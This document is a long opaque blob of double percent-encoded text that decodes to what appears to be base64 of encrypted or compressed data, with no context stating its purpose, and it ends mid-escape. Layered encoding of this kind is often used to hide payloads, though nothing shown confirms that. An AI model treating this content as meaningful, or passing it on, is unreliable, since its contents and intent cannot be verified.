%36%34%25%37%36%25%35%38%25%37%30%25%36%36%25%36%63%25%37%36%25%36%63%25%34%31%25%35%39%25%35%61%25%33%38%25%37%32%25%34%31%25%33%35%25%33%37%25%35%37%25%34%34%25%35%37%25%37%61%25%33%37%25%37%33%25%35%38%25%34%31%25%34%34%25%33%39%25%36%65%25%35%33%25%37%39%25%34%31%25%36%65%25%36%39%25%35%61%25%34%32%25%34%32%25%36%38%25%37%33%25%36%64%25%37%32%25%33%33%25%33%36%25%34%32%25%35%33%25%37%32%25%33%38%25%36%64%25%34%63%25%36%38%25%36%37%25%33%33%25%33%36%25%35%30%25%37%36%25%32%66%25%37%39%25%37%34%25%35%32%25%33%32%25%37%33%25%35%37%25%34%38%25%37%37%25%36%34%25%33%35%25%33%34%25%33%35%25%35%32%25%36%38%25%34%65%25%35%35%25%37%30%25%36%64%25%34%32%25%37%38%25%34%35%25%34%33%25%33%36%25%37%31%25%33%35%25%36%39%25%36%32%25%34%36%25%34%36%25%37%36%25%33%33%25%36%36%25%34%38%25%35%61%25%32%66%25%36%39%25%37%32%25%34%64%25%34%64%25%35%38%25%34%34%25%37%31%25%33%30%25%36%34%25%32%62%25%32%66%25%34%61%25%36%61%25%35%36%25%33%31%25%35%38%25%36%61%25%33%37%25%33%33%25%34%65%25%36%63%25%34%65%25%33%38%25%33%37%25%34%39%25%33%36%25%37%61%25%37%34%25%35%33%25%36%34%25%37%32%25%33%32%25%35%35%25%33%31%25%34%35%25%33%34%25%33%38%25%36%33%25%36%34%25%34%62%25%36%61%25%32%66%25%33%39%25%34%35%25%33%33%25%34%61%25%33%37%25%35%32%25%36%33%25%35%30%25%33%37%25%35%61%25%33%39%25%36%39%25%33%34%25%36%31%25%33%37%25%34%38%25%34%36%25%35%37%25%36%65%25%34%32%25%33%36%25%34%61%25%33%37%25%34%63%25%33%30%25%32%62%25%36%36%25%33%39%25%36%66%25%33%31%25%37%34%25%36%39%25%37%39%25%36%63%25%34%66%25%34%62%25%35%61%25%33%36%25%37%32%25%34%38%25%37%37%25%37%30%25%36%39%25%36%35%25%36%34%25%35%30%25%35%30%25%37%34%25%35%61%25%34%63%25%36%65%25%37%34%25%36%63%25%36%31%25%33%32%25%35%32%25%35%34%25%35%38%25%34%35%25%36%38%25%36%66%25%34%39%25%35%33%25%34%33%25%37%31%25%37%33%25%35%33%25%36%32%25%36%38%25%37%36%25%33%38%25%35%31%25%37%35%25%36%65%25%37%32%25%32%62%25%36%33%25%34%63%25%33%37%25%37%32%25%33%39%25%34%32%25%34%38%25%34%39%25%34%31%25%36%34%25%36%33%25%34%65%25%36%66%25%37%61%25%36%39%25%34%36%25%36%32%25%37%35%25%35%33%25%33%30%25%36%61%25%33%31%25%34%36%25%36%61%25%33%39%25%37%39%25%33%34%25%34%64%25%37%61%25%34%31%25%33%31%25%35%61%25%34%32%25%34%35%25%33%37%25%36%35%25%35%36%25%36%39%25%36%31%25%36%38%25%33%31%25%35%36%25%34%36%25%34%38%25%35%34%25%36%35%25%33%33%25%34%38%25%37%36%25%36%35%25%33%35%25%35%35%25%34%39%25%35%32%25%34%36%25%34%34%25%35%37%25%36%31%25%36%64%25%35%34%25%34%35%25%35%36%25%34%32%25%36%34%25%36%39%25%34%31%25%37%30%25%36%38%25%34%62%25%35%39%25%36%32%25%32%66%25%35%38%25%34%61%25%32%66%25%37%38%25%34%65%25%34%36%25%37%32%25%36%31%25%36%37%25%36%36%25%33%31%25%34%38%25%37%39%25%36%36%25%36%64%25%34%66%25%33%33%25%34%64%25%34%38%25%37%37%25%34%38%25%35%33%25%37%36%25%36%66%25%37%31%25%35%36%25%34%64%25%37%33%25%34%38%25%35%32%25%37%36%25%35%38%25%34%38%25%35%32%25%36%36%25%35%36%25%32%66%25%34%34%25%34%65%25%37%32%25%33%35%25%36%65%25%37%31%25%36%66%25%35%33%25%33%37%25%33%38%25%37%38%25%34%63%25%35%38%25%35%30%25%37%32%25%35%38%25%34%63%25%35%37%25%37%61%25%37%61%25%37%38%25%36%63%25%37%39%25%37%34%25%34%33%25%32%62%25%37%36%25%37%30%25%32%66%25%35%35%25%36%38%25%34%39%25%34%62%25%33%31%25%36%63%25%37%33%25%34%63%25%35%31%25%33%30%25%33%34%25%34%39%25%36%36%25%33%39%25%37%38%25%35%39%25%35%39%25%33%37%25%36%66%25%36%36%25%36%61%25%37%33%25%35%37%25%37%31%25%34%38%25%34%37%25%34%39%25%32%62%25%36%65%25%36%35%25%37%37%25%36%35%25%35%34%25%36%66%25%36%37%25%36%62%25%33%32%25%37%33%25%36%32%25%37%31%25%35%37%25%37%31%25%35%61%25%36%33%25%37%32%25%37%35%25%37%32%25%34%31%25%36%33%25%36%61%25%34%39%25%33%39%25%35%36%25%37%38%25%33%33%25%37%38%25%33%33%25%35%36%25%37%37%25%33%33%25%34%62%25%34%63%25%37%61%25%36%64%25%32%66%25%33%36%25%37%38%25%34%35%25%34%62%25%33%37%25%37%61%25%34%66%25%33%33%25%34%38%25%37%39%25%34%31%25%33%39%25%34%35%25%34%39%25%35%61%25%37%30%25%35%36%25%36%66%25%35%35%25%32%62%25%35%30%25%33%34%25%37%34%25%36%35%25%36%33%25%36%34%25%35%36%25%37%34%25%33%39%25%33%30%25%33%36%25%33%31%25%35%38%25%32%66%25%34%33%25%35%35%25%35%39%25%36%66%25%37%31%25%34%35%25%37%33%25%36%32%25%35%61%25%33%36%25%32%62%25%34%31%25%36%31%25%35%34%25%35%30%25%36%37%25%33%30%25%34%65%25%35%36%25%32%66%25%34%64%25%37%33%25%32%66%25%37%36%25%35%36%25%35%31%25%34%35%25%37%31%25%35%61%25%35%30%25%37%36%25%34%39%25%34%39%25%33%31%25%35%31%25%37%31%25%37%38%25%36%34%25%33%37%25%32%66%25%34%39%25%36%36%25%34%34%25%36%31%25%37%61%25%37%37%25%33%33%25%33%35%25%34%65%25%34%35%25%35%30%25%36%63%25%35%30%25%35%37%25%34%38%25%36%32%25%33%35%25%34%65%25%34%35%25%33%30%25%36%39%25%35%35%25%34%61%25%35%38%25%34%34%25%35%30%25%35%33%25%34%61%25%36%36%25%35%30%25%32%62%25%36%34%25%36%34%25%34%63%25%33%35%25%37%34%25%34%34%25%32%66%25%33%39%25%34%64%25%35%38%25%36%38%25%36%33%25%35%35%25%34%65%25%34%66%25%35%36%25%36%34%25%35%34%25%34%63%25%37%61%25%36%63%25%35%32%25%36%64%25%33%37%25%37%31%25%37%32%25%37%39%25%35%61%25%36%37%25%34%64%25%35%35%25%35%35%25%33%38%25%33%35%25%35%61%25%36%63%25%33%36%25%37%33%25%34%33%25%37%34%25%34%39%25%37%33%25%33%34%25%34%32%25%34%62%25%34%31%25%36%33%25%34%37%25%36%31%25%37%33%25%37%38%25%33%31%25%34%37%25%34%39%25%34%38%25%34%33%25%37%33%25%35%37%25%37%39%25%35%35%25%34%65%25%36%32%25%34%61%25%34%64%25%36%32%25%34%35%25%35%38%25%33%36%25%37%37%25%36%35%25%34%33%25%33%36%25%36%37%25%36%62%25%33%34%25%37%30%25%34%62%25%37%61%25%37%32%25%35%30%25%33%36%25%33%31%25%34%66%25%34%64%25%35%37%25%34%36%25%32%66%25%37%39%25%35%61%25%35%35%25%37%38%25%36%32%25%36%64%25%34%64%25%37%35%25%35%34%25%33%32%25%36%39%25%34%39%25%36%66%25%33%30%25%33%37%25%32%66%25%34%62%25%34%62%25%36%32%25%33%38%25%33%35%25%37%39%25%36%35%25%35%33%25%37%32%25%37%61%25%37%38%25%37%33%25%35%36%25%33%34%25%36%63%25%33%30%25%34%35%25%36%63%25%37%30%25%33%31%25%36%66%25%35%38%25%34%61%25%36%31%25%33%33%25%33%34%25%35%30%25%34%32%25%36%34%25%36%65%25%34%66%25%34%61%25%36%38%25%33%36%25%34%64%25%37%38%25%36%33%25%35%35%25%36%66%25%37%31%25%37%31%25%37%31%25%36%35%25%33%32%25%36%65%25%35%33%25%36%62%25%34%63%25%33%38%25%35%31%25%34%62%25%34%37%25%35%30%25%37%36%25%33%36%25%37%37%25%33%38%25%34%38%25%34%64%25%33%37%25%34%63%25%36%64%25%35%37%25%33%34%25%34%33%25%36%36%25%33%30%25%34%65%25%33%35%25%33%35%25%37%61%25%36%65%25%33%36%25%33%38%25%36%62%25%37%61%25%37%31%25%34%37%25%35%38%25%37%39%25%34%66%25%34%66%25%36%32%25%35%35%25%32%66%25%34%64%25%37%36%25%35%61%25%36%63%25%35%32%25%34%61%25%33%38%25%34%63%25%37%38%25%37%36%25%34%65%25%37%35%25%35%38%25%34%35%25%35%35%25%35%31%25%35%32%25%36%36%25%37%35%25%35%30%25%36%65%25%33%39%25%33%31%25%36%32%25%36%38%25%36%62%25%37%32%25%37%61%25%36%35%25%37%31%25%35%31%25%34%38%25%34%34%25%36%35%25%34%65%25%36%37%25%33%32%25%33%35%25%36%34%25%36%65%25%33%31%25%35%35%25%37%30%25%37%39%25%32%66%25%36%31%25%34%34%25%33%35%25%37%38%25%36%31%25%37%35%25%36%34%25%34%38%25%33%30%25%35%33%25%34%64%25%37%33%25%34%64%25%35%32%25%37%36%25%33%33%25%37%35%25%37%61%25%34%31%25%34%66%25%33%38%25%36%61%25%33%35%25%36%63%25%35%34%25%37%31%25%36%66%25%36%36%25%35%30%25%35%39%25%34%37%25%34%62%25%33%33%25%35%38%25%33%34%25%36%33%25%37%61%25%36%65%25%36%32%25%37%37%25%36%36%25%34%32%25%35%61%25%37%39%25%33%33%25%34%31%25%36%37%25%32%62%25%35%38%25%37%33%25%36%32%25%36%33%25%36%33%25%33%39%25%37%35%25%37%61%25%34%63%25%34%36%25%34%39%25%36%31%25%34%63%25%34%39%25%35%36%25%35%31%25%36%66%25%35%31%25%34%33%25%34%35%25%37%38%25%34%62%25%36%37%25%36%38%25%36%33%25%34%66%25%33%33%25%35%34%25%35%61%25%36%36%25%37%37%25%37%61%25%35%39%25%33%36%25%37%30%25%37%36%25%35%39%25%34%63%25%32%66%25%35%39%25%34%61%25%33%34%25%36%31%25%34%34%25%34%32%25%34%38%25%33%32%25%36%66%25%34%62%25%33%34%25%34%35%25%35%38%25%36%31%25%34%61%25%33%36%25%36%66%25%33%36%25%34%35%25%33%34%25%32%62%25%35%61%25%37%61%25%35%32%25%36%61%25%32%66%25%34%38%25%36%38%25%33%37%25%37%36%25%34%38%25%36%61%25%33%37%25%37%36%25%36%61%25%34%36%25%32%66%25%37%36%25%33%38%25%37%61%25%35%39%25%34%37%25%33%34%25%37%36%25%34%37%25%36%65%25%36%35%25%34%38%25%37%34%25%36%31%25%33%39%25%33%36%25%33%37%25%36%61%25%32%62%25%34%38%25%35%36%25%33%38%25%33%33%25%37%36%25%35%35%25%36%34%25%32%66%25%37%36%25%35%38%25%36%37%25%35%32%25%35%38%25%36%37%25%35%38%25%36%36%25%32%62%25%35%39%25%34%32%25%35%35%25%37%35%25%37%35%25%36%35%25%36%39%25%34%62%25%33%31%25%36%37%25%34%64%25%34%37%25%34%63%25%33%39%25%34%35%25%34%65%25%34%64%25%37%34%25%37%31%25%34%65%25%36%35%25%37%39%25%33%36%25%37%34%25%36%31%25%37%35%25%33%30%25%32%62%25%35%35%25%34%63%25%35%39%25%37%36%25%34%63%25%37%31%25%36%65%25%37%39%25%36%61%25%36%62%25%34%36%25%34%38%25%37%39%25%33%38%25%34%65%25%36%66%25%35%33%25%37%61%25%36%37%25%36%33%25%37%36%25%36%34%25%37%37%25%34%37%25%34%36%25%36%32%25%32%66%25%37%31%25%34%63%25%35%30%25%36%61%25%36%37%25%33%35%25%35%36%25%34%61%25%35%33%25%37%37%25%35%36%25%34%37%25%34%39%25%34%32%25%37%61%25%34%63%25%36%65%25%36%61%25%34%64%25%34%61%25%35%36%25%36%33%25%33%38%25%33%34%25%34%61%25%36%66%25%36%32%25%36%32%25%37%32%25%36%65%25%36%61%25%36%65%25%36%62%25%36%34%25%34%37%25%36%35%25%34%35%25%34%35%25%33%34%25%35%39%25%37%31%25%37%35%25%34%31%25%33%38%25%37%34%25%33%36%25%34%37%25%35%30%25%33%31%25%33%36%25%36%33%25%34%64%25%34%36%25%35%30%25%36%63%25%36%33%25%35%31%25%37%32%25%34%64%25%34%64%25%34%31%25%37%30%25%34%39%25%37%30%25%34%33%25%33%34%25%36%65%25%35%34%25%33%32%25%36%38%25%34%39%25%34%64%25%36%34%25%36%61%25%36%33%25%33%30%25%36%38%25%36%34%25%34%35%25%37%33%25%35%39%25%35%37%25%32%66%25%34%63%25%33%35%25%37%61%25%33%30%25%32%66%25%36%66%25%34%37%25%34%63%25%35%30%25%35%38%25%34%66%25%34%32%25%36%63%25%33%34%25%34%35%25%36%31%25%34%38%25%34%66%25%32%62%25%34%38%25%33%37%25%36%62%25%37%36%25%37%61%25%36%33%25%34%31%25%37%37%25%35%39%25%34%66%25%37%36%25%35%30%25%36%63%25%37%35%25%36%31%25%35%38%25%34%38%25%34%35%25%34%65%25%37%37%25%37%38%25%34%33%25%34%62%25%36%37%25%35%38%25%33%39%25%33%37%25%35%36%25%36%66%25%33%36%25%35%31%25%36%37%25%37%31%25%35%37%25%33%35%25%32%62%25%34%62%25%34%36%25%32%62%25%35%31%25%34%36%25%34%63%25%33%31%25%35%32%25%36%61%25%34%37%25%34%61%25%34%65%25%34%35%25%34%62%25%33%37%25%37%38%25%37%33%25%36%31%25%36%31%25%37%35%25%36%39%25%36%62%25%37%33%25%34%31%25%34%36%25%34%64%25%35%34%25%37%33%25%37%36%25%37%38%25%32%66%25%34%65%25%33%33%25%36%61%25%36%36%25%34%66%25%33%33%25%36%33%25%37%37%25%36%33%25%34%33%25%37%31%25%33%39%25%34%38%25%33%33%25%34%31%25%34%33%25%36%38%25%34%31%25%34%32%25%36%61%25%35%38%25%35%32%25%34%64%25%37%30%25%34%33%25%35%32%25%37%32%25%36%39%25%37%61%25%37%35%25%36%66%25%33%30%25%36%34%25%32%66%25%35%33%25%37%36%25%34%38%25%33%30%25%35%30%25%37%32%25%34%31%25%37%35%25%33%31%25%34%31%25%35%36%25%34%31%25%33%39%25%37%37%25%34%64%25%36%62%25%35%30%25%36%32%25%36%63%25%37%39%25%35%38%25%33%32%25%37%33%25%36%64%25%33%35%25%33%38%25%34%61%25%36%38%25%37%33%25%34%31%25%32%62%25%34%39%25%37%36%25%33%34%25%36%38%25%37%35%25%37%61%25%34%63%25%36%38%25%35%38%25%33%31%25%36%66%25%37%32%25%35%30%25%36%38%25%36%65%25%36%35%25%35%33%25%37%61%25%34%37%25%36%61%25%32%62%25%33%33%25%37%38%25%35%37%25%34%34%25%34%33%25%33%35%25%33%33%25%34%63%25%37%36%25%34%34%25%35%30%25%36%35%25%36%32%25%34%32%25%34%35%25%34%32%25%35%34%25%37%38%25%34%39%25%36%35%25%36%35%25%33%31%25%32%62%25%36%32%25%35%37%25%37%30%25%36%31%25%33%31%25%35%39%25%34%38%25%34%32%25%35%30%25%37%36%25%35%37%25%35%61%25%36%61%25%35%61%25%35%39%25%35%33%25%37%33%25%36%34%25%36%33%25%34%64%25%36%36%25%37%31%25%36%33%25%37%30%25%36%32%25%35%37%25%33%34%25%37%34%25%36%36%25%37%35%25%35%36%25%33%31%25%37%39%25%37%30%25%33%38%25%36%65%25%33%30%25%35%37%25%36%65%25%36%39%25%37%33%25%35%35%25%37%33%25%33%39%25%35%61%25%36%32%25%37%33%25%36%61%25%36%38%25%36%63%25%35%32%25%37%31%25%36%64%25%36%61%25%35%33%25%36%35%25%36%33%25%37%38%25%35%39%25%35%39%25%36%33%25%34%65%25%35%61%25%37%32%25%37%37%25%36%31%25%34%64%25%33%37%25%36%65%25%33%30%25%35%37%25%34%34%25%37%38%25%32%62%25%36%36%25%34%65%25%35%38%25%33%33%25%35%32%25%34%65%25%37%38%25%35%32%25%33%36%25%34%38%25%35%36%25%35%39%25%33%39%25%37%33%25%34%37%25%33%37%25%33%32%25%35%38%25%37%39%25%33%32%25%37%36%25%34%64%25%36%62%25%34%63%25%37%30%25%35%37%25%37%38%25%36%61%25%35%34%25%36%36%25%32%66%25%37%31%25%33%38%25%36%64%25%37%38%25%34%34%25%37%35%25%35%39%25%37%37%25%36%39%25%33%36%25%37%35%25%34%34%25%34%32%25%33%32%25%32%62%25%33%33%25%35%35%25%36%36%25%36%66%25%37%61%25%36%62%25%36%38%25%33%36%25%33%39%25%37%35%25%36%65%25%35%30%25%34%31%25%35%35%25%34%31%25%35%38%25%36%62%25%35%61%25%35%61%25%35%39%25%34%61%25%33%39%25%34%61%25%33%38%25%34%37%25%33%30%25%34%33%25%34%33%25%33%37%25%37%34%25%35%33%25%36%64%25%33%36%25%33%38%25%35%32%25%34%65%25%37%31%25%35%61%25%32%62%25%34%37%25%34%32%25%35%35%25%36%61%25%34%62%25%35%34%25%36%65%25%35%61%25%36%36%25%37%39%25%35%39%25%37%34%25%34%37%25%32%66%25%33%35%25%36%63%25%37%32%25%33%34%25%35%61%25%36%39%25%33%37%25%37%32%25%36%37%25%37%32%25%34%35%25%35%35%25%36%31%25%35%37%25%35%30%25%34%31%25%34%39%25%36%38%25%36%31%25%35%32%25%33%35%25%33%31%25%33%37%25%34%62%25%35%32%25%35%34%25%34%66%25%35%34%25%36%33%25%34%65%25%34%63%25%34%32%25%34%61%25%37%36%25%36%63%25%34%63%25%35%34%25%33%30%25%34%33%25%33%36%25%37%32%25%33%39%25%33%34%25%36%61%25%36%31%25%34%66%25%33%37%25%37%61%25%34%65%25%34%63%25%34%36%25%35%38%25%34%38%25%36%65%25%34%36%25%35%37%25%36%66%25%34%38%25%33%38%25%35%33%25%36%65%25%35%31%25%34%36%25%37%32%25%34%31%25%34%39%25%37%38%25%34%63%25%36%38%25%37%39%25%35%31%25%36%65%25%33%34%25%36%66%25%35%39%25%37%38%25%34%32%25%37%61%25%37%61%25%35%35%25%35%39%25%36%31%25%33%34%25%34%31%25%36%64%25%34%37%25%34%66%25%34%32%25%37%32%25%33%32%25%35%33%25%36%32%25%34%65%25%37%35%25%36%33%25%35%33%25%33%31%25%36%32%25%35%39%25%35%34%25%35%37%25%35%34%25%36%33%25%36%36%25%36%35%25%33%30%25%36%36%25%35%38%25%35%34%25%36%34%25%36%66%25%36%61%25%36%64%25%34%64%25%37%39%25%35%34%25%34%39%25%33%35%25%37%37%25%34%32%25%34%64%25%33%34%25%34%38%25%34%32%25%35%35%25%37%35%25%35%33%25%36%39%25%35%37%25%35%32%25%33%32%25%35%31%25%34%34%25%34%63%25%35%30%25%34%38%25%34%62%25%34%66%25%35%37%25%33%31%25%35%31%25%34%33%25%36%39%25%36%61%25%33%38%25%37%37%25%36%62%25%37%36%25%36%63%25%34%38%25%35%33%25%34%62%25%33%37%25%36%62%25%34%32%25%35%35%25%37%35%25%33%31%25%35%35%25%33%35%25%33%38%25%37%34%25%36%64%25%33%32%25%34%33%25%34%39%25%34%31%25%36%34%25%36%32%25%34%62%25%36%65%25%35%32%25%34%64%25%33%31%25%32%66%25%37%37%25%36%36%25%36%33%25%36%63%25%36%61%25%35%38%25%36%61%25%36%64%25%34%37%25%35%61%25%35%34%25%36%32%25%36%36%25%36%65%25%37%30%25%34%64%25%36%64%25%37%37%25%34%37%25%34%32%25%36%36%25%35%34%25%33%39%25%35%30%25%35%33%25%36%63%25%35%35%25%34%62%25%34%35%25%37%38%25%36%35%25%35%32%25%36%34%25%37%61%25%33%32%25%37%30%25%33%33%25%37%38%25%36%63%25%33%38%25%36%32%25%36%61%25%36%63%25%33%37%25%37%38%25%37%32%25%36%31%25%34%32%25%33%33%25%35%32%25%36%37%25%36%65%25%34%65%25%34%37%25%34%37%25%35%30%25%37%38%25%32%62%25%36%31%25%35%36%25%36%64%25%36%37%25%34%33%25%35%37%25%34%36%25%35%61%25%34%38%25%35%37%25%34%31%25%35%31%25%36%31%25%33%32%25%35%31%25%33%38%25%34%64%25%36%33%25%36%33%25%33%31%25%37%36%25%34%35%25%35%33%25%34%38%25%33%38%25%37%34%25%34%35%25%36%61%25%36%38%25%34%34%25%34%38%25%35%61%25%37%30%25%34%31%25%34%38%25%34%35%25%35%61%25%35%35%25%36%31%25%34%33%25%35%35%25%35%37%25%36%32%25%36%33%25%34%31%25%36%32%25%33%31%25%34%65%25%37%31%25%37%32%25%36%62%25%37%31%25%34%36%25%34%65%25%36%35%25%33%34%25%34%66%25%36%65%25%37%37%25%34%66%25%37%33%25%36%33%25%33%36%25%33%38%25%35%35%25%36%39%25%36%61%25%37%32%25%33%38%25%36%63%25%34%39%25%34%36%25%36%62%25%33%32%25%34%65%25%36%64%25%34%37%25%34%34%25%36%39%25%34%39%25%37%31%25%36%66%25%35%39%25%37%37%25%36%66%25%36%64%25%33%39%25%34%33%25%36%36%25%34%61%25%34%37%25%35%32%25%36%33%25%33%33%25%37%32%25%36%31%25%35%34%25%34%66%25%34%32%25%36%33%25%33%34%25%37%36%25%36%31%25%37%61%25%35%33%25%34%31%25%36%39%25%35%39%25%37%32%25%34%61%25%35%37%25%34%37%25%35%31%25%32%66%25%33%34%25%34%66%25%35%32%25%35%33%25%34%33%25%36%64%25%34%66%25%35%34%25%34%62%25%33%34%25%35%30%25%36%63%25%33%33%25%36%61%25%37%32%25%37%33%25%37%61%25%35%39%25%34%35%25%34%35%25%36%64%25%35%39%25%34%31%25%36%66%25%37%39%25%33%37%25%36%35%25%34%39%25%37%37%25%37%38%25%33%35%25%37%39%25%36%62%25%37%39%25%36%38%25%35%36%25%36%33%25%37%37%25%35%36%25%37%39%25%36%65%25%37%32%25%37%61%25%37%30%25%35%61%25%36%64%25%37%30%25%34%64%25%37%30%25%37%36%25%33%34%25%36%62%25%37%38%25%34%39%25%33%37%25%34%38%25%35%38%25%34%39%25%34%35%25%34%39%25%32%62%25%33%37%25%37%39%25%35%32%25%37%35%25%34%61%25%33%37%25%37%39%25%32%62%25%34%38%25%36%33%25%37%33%25%36%37%25%34%64%25%34%37%25%34%61%25%34%32%25%37%32%25%36%39%25%32%66%25%35%34%25%36%32%25%34%63%25%34%63%25%35%32%25%37%33%25%34%36%25%36%31%25%33%33%25%36%61%25%36%35%25%33%36%25%37%38%25%37%30%25%34%65%25%35%39%25%36%38%25%37%32%25%37%31%25%35%35%25%37%30%25%37%37%25%34%62%25%37%32%25%35%31%25%33%34%25%34%61%25%34%33%25%34%33%25%37%33%25%36%37%25%33%30%25%36%66%25%34%33%25%33%31%25%32%62%25%36%32%25%37%33%25%34%37%25%37%37%25%33%35%25%34%62%25%35%37%25%37%37%25%35%30%25%32%62%25%37%39%25%34%63%25%36%35%25%35%32%25%36%62%25%34%66%25%37%30%25%36%62%25%35%34%25%34%32%25%37%33%25%34%35%25%37%38%25%37%37%25%36%63%25%35%38%25%34%38%25%35%32%25%34%65%25%33%30%25%36%33%25%36%66%25%37%38%25%36%37%25%33%33%25%37%39%25%36%61%25%32%62%25%33%35%25%34%64%25%36%39%25%35%36%25%36%39%25%34%61%25%34%34%25%33%30%25%36%62%25%36%66%25%35%33%25%34%39%25%37%30%25%37%30%25%34%63%25%35%36%25%36%36%25%33%34%25%37%39%25%36%34%25%36%62%25%32%62%25%37%31%25%36%32%25%35%31%25%34%31%25%37%32%25%36%61%25%36%34%25%33%38%25%32%66%25%34%65%25%34%31%25%34%32%25%37%33%25%34%64%25%33%35%25%36%33%25%37%30%25%37%39%25%37%32%25%33%39%25%33%38%25%34%35%25%33%37%25%35%61%25%32%66%25%34%34%25%36%35%25%34%39%25%36%31%25%36%62%25%35%30%25%34%37%25%35%39%25%33%32%25%37%31%25%37%61%25%36%62%25%34%35%25%33%32%25%34%32%25%33%31%25%36%66%25%35%36%25%33%35%25%33%39%25%37%30%25%34%65%25%35%34%25%37%31%25%32%62%25%34%33%25%36%37%25%37%35%25%34%61%25%35%36%25%34%66%25%36%32%25%34%66%25%34%63%25%37%30%25%35%35%25%34%65%25%34%65%25%35%36%25%34%66%25%35%34%25%35%31%25%36%36%25%34%62%25%36%31%25%36%62%25%37%37%25%34%33%25%35%35%25%35%30%25%37%38%25%33%36%25%36%34%25%34%34%25%36%64%25%33%33%25%34%32%25%36%62%25%37%35%25%35%39%25%34%64%25%35%38%25%34%65%25%35%61%25%34%65%25%33%32%25%34%31%25%34%36%25%34%33%25%36%65%25%37%33%25%36%34%25%33%31%25%37%33%25%33%35%25%34%37%25%33%31%25%36%65%25%36%31%25%34%31%25%34%39%25%36%65%25%33%35%25%34%62%25%36%36%25%37%33%25%33%37%25%36%34%25%37%37%25%33%32%25%33%35%25%35%31%25%33%34%25%34%31%25%36%32%25%35%39%25%34%31%25%33%30%25%35%35%25%33%37%25%33%36%25%32%66%25%36%37%25%37%31%25%34%36%25%36%32%25%36%61%25%36%39%25%35%30%25%34%39%25%34%31%25%37%33%25%37%61%25%35%35%25%37%33%25%34%36%25%36%66%25%36%35%25%37%32%25%34%32%25%36%38%25%34%31%25%34%66%25%35%36%25%35%38%25%36%35%25%33%39%25%36%37%25%36%33%25%36%62%25%36%35%25%34%62%25%35%61%25%36%37%25%37%34%25%35%34%25%33%30%25%32%66%25%34%61%25%36%31%25%35%32%25%37%34%25%35%33%25%36%38%25%37%37%25%33%34%25%36%32%25%34%65%25%36%37%25%37%38%25%35%31%25%34%61%25%34%63%25%34%34%25%35%33%25%33%30%25%36%64%25%35%61%25%36%36%25%36%32%25%36%64%25%34%63%25%35%36%25%36%37%25%35%30%25%35%39%25%34%33%25%36%33%25%34%65%25%34%37%25%35%36%25%37%30%25%36%62%25%34%34%25%34%63%25%34%65%25%34%66%25%35%35%25%34%39%25%33%30%25%37%38%25%34%34%25%34%61%25%34%64%25%35%38%25%34%62%25%37%36%25%37%39%25%34%31%25%37%32%25%35%37%25%37%36%25%34%33%25%34%62%25%32%66%25%34%66%25%33%31%25%35%35%25%34%63%25%36%62%25%36%33%25%34%38%25%35%32%25%34%31%25%37%31%25%36%61%25%33%32%25%36%32%25%35%61%25%36%39%25%35%34%25%35%34%25%33%37%25%33%31%25%36%65%25%34%63%25%37%39%25%36%31%25%35%30%25%34%35%25%36%31%25%36%64%25%33%33%25%35%61%25%33%32%25%34%65%25%35%39%25%36%32%25%33%34%25%34%65%25%33%33%25%33%33%25%37%31%25%35%30%25%37%39%25%35%34%25%32%62%25%35%33%25%35%30%25%35%61%25%33%30%25%33%36%25%36%32%25%36%31%25%33%36%25%35%31%25%35%35%25%36%63%25%37%39%25%35%31%25%33%34%25%33%34%25%34%61%25%34%31%25%34%32%25%35%32%25%33%34%25%36%38%25%37%35%25%34%36%25%35%32%25%36%39%25%37%36%25%37%36%25%35%33%25%36%33%25%34%31%25%37%37%25%35%35%25%32%66%25%32%62%25%37%35%25%34%63%25%35%31%25%36%31%25%34%38%25%37%38%25%36%35%25%37%35%25%33%34%25%36%63%25%34%34%25%34%64%25%34%33%25%37%30%25%36%35%25%37%34%25%37%32%25%34%63%25%34%37%25%34%66%25%35%61%25%33%39%25%36%31%25%36%61%25%34%34%25%33%35%25%35%35%25%36%62%25%34%36%25%34%63%25%34%33%25%36%66%25%34%36%25%36%66%25%33%36%25%36%65%25%34%35%25%34%36%25%37%32%25%35%39%25%33%30%25%33%33%25%34%35%25%35%39%25%34%34%25%37%33%25%37%33%25%36%38%25%35%31%25%34%37%25%36%62%25%34%34%25%37%37%25%36%31%25%36%61%25%34%37%25%33%30%25%37%32%25%35%34%25%35%61%25%34%63%25%37%36%25%33%33%25%36%38%25%37%32%25%34%62%25%37%38%25%36%62%25%35%37%25%35%61%25%32%62%25%34%66%25%34%32%25%37%32%25%34%66%25%34%64%25%33%30%25%37%61%25%36%35%25%35%31%25%37%61%25%34%66%25%35%34%25%34%36%25%36%37%25%36%63%25%35%36%25%34%65%25%34%63%25%37%39%25%36%62%25%34%32%25%36%31%25%36%31%25%36%63%25%37%39%25%34%61%25%34%37%25%33%34%25%36%38%25%37%31%25%33%37%25%37%37%25%35%61%25%35%38%25%33%34%25%37%33%25%35%38%25%34%33%25%34%66%25%33%32%25%36%63%25%34%33%25%34%31%25%37%34%25%36%63%25%34%66%25%33%36%25%35%34%25%34%65%25%35%38%25%34%65%25%36%61%25%36%63%25%35%61%25%36%34%25%36%32%25%36%38%25%35%37%25%35%38%25%33%35%25%37%35%25%33%35%25%37%35%25%34%37%25%37%36%25%37%30%25%37%32%25%36%31%25%32%66%25%37%38%25%34%37%25%35%32%25%36%63%25%33%32%25%36%35%25%36%35%25%36%36%25%34%31%25%33%38%25%37%34%25%36%33%25%36%64%25%35%36%25%33%33%25%36%66%25%35%34%25%32%66%25%37%37%25%34%61%25%34%39%25%36%34%25%36%36%25%34%65%25%34%35%25%36%64%25%35%39%25%36%62%25%34%66%25%35%37%25%36%36%25%35%35%25%33%38%25%34%31%25%37%34%25%34%37%25%35%36%25%35%36%25%35%32%25%37%32%25%34%65%25%34%62%25%36%66%25%33%30%25%35%32%25%33%35%25%37%30%25%37%35%25%37%36%25%34%32%25%34%63%25%35%36%25%35%35%25%35%32%25%34%36%25%34%37%25%36%63%25%34%65%25%35%37%25%37%39%25%34%66%25%37%32%25%33%30%25%36%38%25%36%36%25%34%63%25%37%38%25%36%35%25%34%39%25%35%33%25%35%35%25%37%32%25%35%39%25%37%34%25%36%38%25%34%37%25%35%38%25%36%38%25%34%31%25%33%31%25%37%33%25%34%35%25%36%63%25%34%66%25%36%38%25%36%39%25%36%31%25%32%62%25%33%30%25%36%31%25%35%35%25%34%31%25%35%31%25%36%33%25%34%31%25%34%38%25%36%61%25%36%37%25%35%38%25%34%63%25%36%33%25%36%62%25%35%35%25%33%31%25%37%33%25%36%39%25%36%39%25%32%66%25%37%32%25%36%35%25%35%31%25%36%34%25%37%33%25%36%36%25%34%37%25%33%31%25%34%37%25%34%31%25%35%37%25%35%61%25%37%31%25%36%34%25%36%66%25%37%38%25%36%39%25%33%39%25%33%35%25%36%33%25